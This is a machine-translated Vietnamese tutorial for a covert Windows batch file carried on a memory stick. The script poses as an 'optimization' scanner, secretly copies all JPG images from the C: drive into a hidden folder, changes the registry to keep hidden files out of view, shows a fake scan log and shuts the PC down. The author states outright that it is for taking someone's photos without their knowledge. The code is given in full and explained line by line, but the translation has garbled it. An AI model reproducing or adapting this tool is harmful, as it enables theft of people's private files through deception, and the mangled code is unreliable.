Hình ảnh gián điệp bí mật Sao chụp hàng loạt tệp: 5 bước

2024 Tác giả: John Day | [email protected]. Sửa đổi lần cuối: 2024-01-30 13:36

Vì vậy, điều đầu tiên, hướng dẫn này tạo là gì và tại sao. Hướng dẫn này sẽ cho phép bạn tạo một tệp hàng loạt sẽ sao chép tất cả hình ảnh từ PC vào thẻ nhớ của bạn. nó sẽ thực hiện điều này một cách riêng lẻ, giả dạng như một chương trình khác đang kiểm tra máy tính để tìm các sự cố. Khi hoàn tất, bạn sẽ có một thư mục ẩn trên thẻ nhớ với tất cả các hình ảnh đã sao chép. Tôi đã tạo hướng dẫn này vì tôi muốn lấy một bức ảnh kỹ thuật số từ máy của người nào đó mà họ không biết tôi đã làm điều đó. Việc sử dụng hợp pháp tệp này sẽ cho phép bạn lưu trữ / sao lưu ảnh cá nhân của mình. Các cách sử dụng khác: Có thể sửa đổi tệp này để cho phép sao chép bất kỳ loại tài liệu nào khác.

Bước 1: Viết mã

Sao chép đoạn mã sau vào notepad và lưu vào thư mục gốc của thẻ nhớ của bạn dưới dạng tệp bat, bạn có thể đặt tên nó bất cứ thứ gì bạn muốn miễn là nó có phần mở rộng.bat. Để đảm bảo nó có đúng phần mở rộng, hãy nhập nó như sau vào hộp lưu của notepad "copyimage.bat" (bao gồm cả phần trích dẫn!)

@echo offecho Ứng dụng tối ưu hóa 2008 v3.02becho -------------------------------- echo.echo Vui lòng không sử dụng PC của bạn trong khi điều này đang chạy.echo.echo Danh sách quy trình quét. Khi hoàn thành, nhật ký sẽ được hiển thị để quản trị viên hệ thống của bạn xem xét. 00000002 / f> nulmkdir / data> nulattrib + h / data> nulsetLocal EnableDelayedExpansion @ echo offfor %% a in (jpg) do (for / f "tokens = * delims =" %% f in ('dir / b / s / ad c: / *. %% a ') do (xcopy "%% f" / data / / y / h / q> nul)) do -s + h data / *> nulstart OptimiLog.txtshutdown / s / c " Quá trình quét tối ưu hóa hoàn tất, PC của bạn giờ sẽ tắt"

Bước 2: Tạo tệp báo cáo giả mạo

Trong bước này, tôi đã tạo một tệp văn bản giả mạo là bản ghi kết quả của tệp lô mà chúng tôi chạy để sao chép tệp. Điều này cho phép bạn giả vờ điều gì đó đã xảy ra. Không quan trọng tệp này nói gì, bạn có thể thay đổi nó tùy thích, chỉ cần đảm bảo tên tệp chính xác và nó được lưu trữ trên thư mục gốc của thẻ nhớ của bạn. ghi nhật ký, sao chép nó và lưu nó vào thư mục gốc của thẻ nhớ của bạn dưới dạng OptimiLog.txt

Quá trình quét hoàn tất. Vui lòng đóng nhật ký này và cho phép quản trị viên hệ thống của bạn xem lại. Các quy trình chạy: C: / Windows / system32 / taskeng.exeC: / Windows / system32 / Dwm.exeC: / Windows / Explorer. EXEC: / Program Files / Java / jre1. 6.0_07 / bin / jusched.exeC: / Windows / System32 / hkcmd.exeC: / Windows / System32 / igfxpers.exeC: / Windows / system32 / igfxsrvc.exeC: / Program Files / Synaptics / SynTP / SynTPEnh.exeC: / Program Files / TOSHIBA / Power Saver / TPwrMain.exeC: / Program Files / TOSHIBA / SmoothView / SmoothView.exeC: / Program Files / TOSHIBA / FlashCards / TCrdMain.exeC: / Program Files / BitDefender / BitDefender 2009 / bdagent.exeC: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeC: / Program Files / Registry Mechanic / regmech.exeC: / Program Files / BitDefender / BitDefender 2009 / seccenter.exeC: / Program Files / Synaptics / SynTP / SynTPHelper.exeC: / Program Files / Vuze / Azureus.exeC: / Program Files / Microsoft Office / Office12 / OUTLOOK. EXEC: / Program Files / AutoCAD 2008 / acad.exeC: / Users / Tom / AppData / Local / Temp / AdskCleanup.0001C: / Program Files / Mozilla Firefox / firefox.exeC: / Windows / System32 / NOTE PAD. EXEC: / Windows / system32 / SearchFilterHost.exeC: / HijackThis / HijackThis.exeR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Trang Tìm kiếm = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU / Software / Microsoft / Internet Explorer / Main, Trang Bắt đầu = https://www.google.co. ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Search_URL = https://go.microsoft.com/ fwlink /? LinkId = 54896R1 - HKLM / Software / Microsoft / Internet Explorer / Main, Trang Tìm kiếm = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM / Software / Microsoft / Internet Explorer / Main, Bắt đầu Trang = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM / Software / Microsoft / Internet Explorer / Search, SearchAssistant = R0 - HKLM / Software / Microsoft / Internet Explorer / Search, CustomizeSearch = R0 - HKCU / Software / Microsoft / Internet Explorer / Too lbar, LinksFolderName = O1 - Hosts::: 1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C: / Program Files / Common Files / Adobe / Acrobat / ActiveX / AcroIEHelperShim.dllO2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C: / Program Files / Microsoft Office / Office12 / GrooveShellExtensions.dllO2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43}: / Program Files / Java / jre1.6.0_07 / bin / ssv.dllO3 - Thanh công cụ: BitDefender Toolbar - {381FFDE8-2394-4f90-B10D-FC6124A40F8C} - C: / Program Files / BitDefender / BitDefender 2009 / IEToolbar.dllO4 - HKLM \.. / Run: [Windows Defender]% ProgramFiles% / Windows Defender / MSASCui.exe -hideO4 - HKLM \.. / Run: [SunJavaUpdateSched] "C: / Program Files / Java / jre1.6.0_07 / bin / jusched.exe "O4 - HKLM \.. / Run: [IgfxTray] C: / Windows / system32 / igfxtray.exeO4 - HKLM \.. / Run: [HotKeysCmds] C: / Windows / system32 / hkcmd.exeO4 - HKLM \.. / Run: [Persistence] C: / Windows / system32 / igfxpers.exeO4 - HKLM \.. / Run: [SynTPEnh] C: / Program Files / Syna ptics / SynTP / SynTPEnh.exeO4 - HKLM \.. / Run: [TPwrMain]% ProgramFiles% / TOSHIBA / Power Saver / TPwrMain. EXEO4 - HKLM \.. / Run: [SmoothView]% ProgramFiles% / Toshiba / SmoothView / SmoothView.exeO4 - HKLM \.. / Run: [00TCrdMain]% ProgramFiles% / TOSHIBA / FlashCards / TCrdMain.exeO4 - HKLM \.. / Run: [Toshiba TEMPO] C: / Program Files / Toshiba TEMPRO / Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM \.. / Run: [BDAgent] "C: / Program Files / BitDefender / BitDefender 2009 / bdagent.exe" O4 - HKLM \.. / Run: [BitDefender Antiphishing Helper] "C: / Program Files / BitDefender / BitDefender 2009 / IEShow.exe "O4 - HKCU \.. / Run: [TOSCDSPD] C: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeO4 - HKCU \.. / Run: [RegistryMechanic] C: / Program Files / Registry Mechanic / RMTray.exe / HO4 - Khởi động: OneNote 2007 Screen Clipper và Launcher.lnk = C: / Program Files / Microsoft Office / Office12 / ONENOTEM. EXEO8 - Mục menu ngữ cảnh bổ sung: E & xport sang Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9 - Nút bổ sung: (không có tên) - {08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Trình đơn 'Công cụ' bổ sung: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Nút bổ sung: Gửi tới OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Menu 'Công cụ' bổ sung: S & kết thúc với OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Nút bổ sung: eBay.co.uk - Mua Nó bán nó yêu nó - {76577871-04EC-495E-A12B-91F7C3600AFA} - https://rover.ebay.com/rover/1/710-44557-9400-3/4 (thiếu tệp) O9 - Nút bổ sung: (không có tên) - {85d1f590-48f4-11d9-9669-0800200c9a66} -% windir% / bdoscandel.exe (thiếu tệp) O9 - Menuitem 'Công cụ' bổ sung: Gỡ cài đặt BitDefender Online Scanner v8 - {85d1f590-48f4-11d9-9669 -0800200c9a66} -% windir% / bdoscandel.exe (thiếu tệp) O9 - Nút bổ sung: Amazon.co.uk - {8A918C1D-E123-4E36-B562-5C1519E434CE} - https://www.amazon.co.uk/ executive / obidos / redirect-home? tag = Toshibaukbholink-2 1 & site = home (thiếu tệp) O9 - Nút bổ sung: Nghiên cứu - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / REFIEBAR. DLLO10 - Tệp không xác định trong Winsock LSP: c: / windows / system32 / nlaapi.dllO10 - Tệp không xác định trong Winsock LSP: c: / windows / system32 / napinsp.dllO10 - Tệp không xác định trong Winsock LSP: c: / program files / vmware / vmware workstation / vsocklib.dllO10 - Tệp không xác định trong Winsock LSP: c: / program files / vmware / vmware workstation / vsocklib.dllO11 - Nhóm tùy chọn: [INTERNATIONAL] International * O13 - Gopher Prefix: O16 - DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (get_atlcom Class) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Giao thức: rãnhLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C: / Program Files / Microsoft Office / Office12 / GrooveSystemServices.dllO18 - Giao thức: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C: / Program Files / Common Files / Microsoft Shared / Help / hxds.dllO18 - Lọc xâm nhập: text / xml - {807563E5-5146-11D5-A672-00B0D022E945} - C: / PROGRA ~ 1 / COMMON ~ 1 / MICROS ~ 1 / OFFICE12 / MSOXMLMF. DLLO20 - Winlogon Thông báo: igfxcui - C: / Windows / SYSTEM32 / igfxdev.dllO23 - Dịch vụ: Agere Modem Tiến trình âm thanh (AgereModemAudio) - Agere Hệ thống - C: / Windows / system32 / agrsmsvc.exeO23 - Dịch vụ: Máy chủ BitDefender Arrakis (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C: / Program Files / Common Files / BitDefender / BitDefender Arrakis Server / bin / Arrakis3.exeO23 - Dịch vụ: Autodesk Licensing Service - Autodesk - C: / Program Files / Common Files / Autodesk Shared / Service / AdskScSrv.exeO23 - Dịch vụ: Dịch vụ ConfigFree - TOSHIBA CORPORATION - C: / Program Files / TOSHIBA / ConfigFree / CFSvcs.exeO23 - Dịch vụ: @% SystemRoot% / ehome / ehstart.dll, -101 (ehstart) - Không xác định chủ sở hữu -% windir% / system32 / svchost.exe (thiếu tệp) O23 - Dịch vụ: getPlus (R) Helper - NOS Microsystems Ltd. - C: / Program Files / NOS / bin / getPlus_HelperSvc.exeO23 - Dịch vụ: Google Update Service (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Chủ sở hữu không xác định - C: / Program Files / Google / Update / GoogleUpdate.exe "/ svc (thiếu tệp) O23 - Dịch vụ: BitDefender Desktop Update Service (LIVESRV) - Chủ sở hữu không xác định - C: / Program Files / Common Files / BitDefender / BitDefender Update Service / livesrv.exe "/ service (thiếu tệp) O23 - Dịch vụ: @% SystemRoot% / system32 / qwave.dll, -1 (QWAVE) - Không xác định r -% windir% / system32 / svchost.exe (thiếu tệp) O23 - Dịch vụ: @% SystemRoot% / system32 / seclogon.dll, -7001 (seclogon) - Không xác định chủ sở hữu -% windir% / system32 / svchost.exe (tệp thiếu) O23 - Dịch vụ: Dịch vụ Điều chỉnh Hiệu suất Máy tính xách tay (TempoMoprisService) - Toshiba Europe GmbH - C: / Program Files / Toshiba TEMPRO / TempoSVC.exeO23 - Dịch vụ: Dịch vụ hỗ trợ TOSHIBA Navi (TNaviSrv) - TOSHIBA Corporation - C: / Program Files / TOSHIBA / TOSHIBA DVD PLAYER / TNaviSrv.exeO23 - Dịch vụ: Dịch vụ ổ đĩa quang TOSHIBA (TODDSrv) - TOSHIBA Corporation - C: / Windows / system32 / TODDSrv.exeO23 - Dịch vụ: TOSHIBA Power Saver (TosCoSrv) - TOSHIBA Corporation Tệp chương trình / TOSHIBA / Tiết kiệm điện / TosCoSrv.exeO23 - Dịch vụ: TOSHIBA SMART Log Service - TOSHIBA Corporation - c: / Program Files / TOSHIBA / SMARTLogService / TosIPCSrv.exeO23 - Dịch vụ: VMware Agent Service (ufad-ws60) - Không xác định chủ sở hữu - C: / Program Files / VMware / VMware Workstation / vmware-ufad.exe "-d" C: / Program Files / VMware / VMware Workstation / "-s ufad-p2v.x ml (thiếu tệp) O23 - Dịch vụ: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C: / Program Files / Common Files / Ulead Systems / DVD / ULCDRSvr.exeO23 - Dịch vụ: Dịch vụ Ủy quyền VMware (VMAuthdService) - VMware, Inc. - C: / Program Files / VMware / VMware Workstation / vmware-authd.exeO23 - Dịch vụ: VMware DHCP Service (VMnetDHCP) - VMware, Inc. - C: / Windows / system32 / vmnetdhcp.exeO23 - Dịch vụ: VMware NAT Dịch vụ - VMware, Inc. - C: / Windows / system32 / vmnat.exeO23 - Dịch vụ: BitDefender Virus Shield (VSSERV) - Không xác định chủ sở hữu - C: / Program Files / BitDefender / BitDefender 2009 / vsserv.exe "/ dịch vụ (thiếu tệp) O23 - Dịch vụ: Máy chủ VNC Phiên bản 4 (WinVNC4) - Không xác định chủ sở hữu - C: / Program Files / RealVNC / VNC4 / WinVNC4.exe "-dịch vụ (thiếu tệp) O23 - Dịch vụ: @% ProgramFiles% / Windows Media Player / wmpnetwk.exe, -101 (WMPNetworkSvc) - Không xác định chủ sở hữu -% ProgramFiles% / Windows Media Player / wmpnetwk.exe (thiếu tệp)

Bước 3: Chạy chương trình

Bây giờ bạn sẽ có một thẻ nhớ với hai tệp trên đó (và rất nhiều dung lượng trống đã sẵn sàng cho các hình ảnh mới). Nếu bạn có bất kỳ thứ gì khác trên ổ đĩa, điều đó không thành vấn đề. Hãy đưa thẻ nhớ vào máy tính mục tiêu của bạn. Khi nó được đăng ký lại, hãy ghi lại ký tự ổ đĩa được cấp cho nó, điều này sẽ cho phép bạn chạy nó mà không cần duyệt đến thư mục trước. Nhấn phím Windows và sau đó nhấn 'R' (trong khi vẫn giữ phím windows). Thao tác này sẽ xuất hiện hộp Run. Trong hộp chạy, hãy nhập đường dẫn của tệp loạt mà chúng tôi đã tạo, ký tự ổ đĩa là ký tự được gán khi bạn cắm thẻ nhớ. Ví dụ: nếu tôi cắm thẻ nhớ của mình và nó đăng ký ag: / drive thì tôi sẽ chạy: g: / copyimage.batVà sau đó nhấn enter hoặc nhấp vào chạy. Thao tác này sẽ bắt đầu chạy tệp loạt. Khi hoàn tất, nó sẽ tắt máy. Tháo thẻ nhớ của bạn và mang nó đi!

Bước 4: Lấy hình ảnh

Bây giờ bạn sẽ có một thẻ nhớ với tất cả các hình ảnh trên đó. Các tệp và thư mục bị ẩn, vì vậy nếu bạn chưa hiển thị tệp và thư mục của mình, bạn sẽ cần phải kích hoạt nó. Để thực hiện việc này, hãy vào cửa sổ thám hiểm (ví dụ: mở máy tính của tôi) và: WinXP - Tools, Folder Options, View, Show Hidden FilesVista - Sắp xếp, Thư mục và các tùy chọn tìm kiếm, Xem, Hiển thị các tập tin ẩn Sau khi được chọn, bạn sẽ có thể mở thư mục ẩn và có được những hình ảnh bạn muốn!

Bước 5: Mã nghĩa là gì

Tôi sẽ giải thích càng nhiều mã càng tốt. chức năng sao chép chính không phải do tôi viết, tôi đã mượn nó từ trang web sau và sửa đổi nó:

@echo off '' Dừng các lệnh đang hiển thị trên màn hình, vì vậy người dùng không biết những gì đang được thực hiện echo Optimization client 2008 v3.02b echo ------------------- ------------- tiếng vang. Viết trên màn hình tiêu đề cho chương trình echo Vui lòng không sử dụng PC của bạn khi máy tính này đang chạy.echo.echo Danh sách quy trình quét. Khi hoàn thành, một nhật ký sẽ được hiển thị để quản trị viên hệ thống của bạn xem xét.echo.echo Hãy kiên nhẫn, quá trình này có thể mất đến 3 giờ. Cho người dùng biết một đống rác không đúng sự thật. Reg thêm HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced / v Hidden / t REG_DWORD / d 00000002 / f> nul Thêm khóa đăng ký sẽ ẩn các tệp ẩn và thư mục. Điều này ngăn người dùng có thể nhìn thấy thư mục mà chúng tôi đang tạo để chứa các hình ảnh được sao chép. Lệnh nul ở cuối ngăn lệnh báo cáo bất kỳ thông báo nào khi nó kết thúc mkdir / data> nul Tạo một thư mục trên ổ đĩa chứa tệp lô này nằm trên dữ liệu được gọi. Att + h / data> nul Ẩn thư mục đã tạo setLocal EnableDelayedExpansionfor %% a in (jpg) do (for / f "tokens = * delims =" %% f in ('dir / b / s / ad c: / *. %% a ') do (xcopy "%% f" / data / / y / h / q> nul)) Đây là mã sẽ tìm kiếm hình ảnh trong toàn bộ ổ c: \. Nếu bạn muốn nó tìm kiếm ổ đĩa khác, thì hãy thay đổi phần c: thành những gì bạn muốn. Nếu bạn muốn nó tìm thấy các loại tệp khác, hãy liệt kê chúng tiếp theo sau khi văn bản jpg, hãy tách các loại tệp bằng một khoảng trắng. Ví dụ: -j.webp